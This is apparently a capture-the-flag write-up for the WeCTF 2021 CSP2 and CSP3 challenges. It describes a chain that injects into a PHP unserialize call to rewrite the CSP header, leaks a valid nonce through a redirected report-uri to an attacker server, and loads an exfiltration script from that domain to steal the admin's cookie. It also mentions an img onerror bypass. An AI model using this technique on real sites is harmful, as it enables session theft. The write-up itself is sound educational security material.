My solution for CSP2 and CSP3 challs in WeCTF 2021. https://github.com/wectf/2021/tree/master/csp3
The python app was hosted on a server we controlled (http://bln.nu:1337), the
payload sent to the "admin" browser was simply that url.
The server would first create a post on the CSP site, the content did not matter, I just needed the hash. The page would open an iframe containing the hash, as well as an injection for the unserialize call being made in the PHP code on the &user GET parameter (see serialize.php). This would tamper with the CSP Header sent back to set the CSP report uri back to my domain, as well as allow frame-ancestor to also allow my domain. Though I'm not sure frame-ancestor was needed.
The CSP Report would trigger straight away, as I intentionally trigger the add_js
function present in the CSP post page
by adding a #black.js@badnoncelol
, which violates the nonce required by the original CSP headers.
function add_js(filename, nonce) {
var head = document.head;
var script = document.createElement('script');
script.nonce = nonce;
script.src = filename;
head.appendChild(script);
}
window.onhashchange = () => {let query = window.location.hash.substr(1).split('@'); add_js(query[0], query[1])};
The CSP report itself would arrive at my server, allowing it to capture the valid nonce, which is then sent back to original victim client session (frames.html)
via a continuously reloading script (it wasn't meant to be pretty). Using this nonce, the iframe URL is updated to change the
hash to #http://<my domain>/exfil.js@nonce
, which loads the exfiltration script that sends the cookie to the server.
Besides that I also found an unintentional(?) solution for CSP2 in chrome by using the script-src-attr CSP directive
and a <img onerror>
payload in the post. However since the admin browser ran in firefox it didn't work for the chall.
Fulkod pga hackande.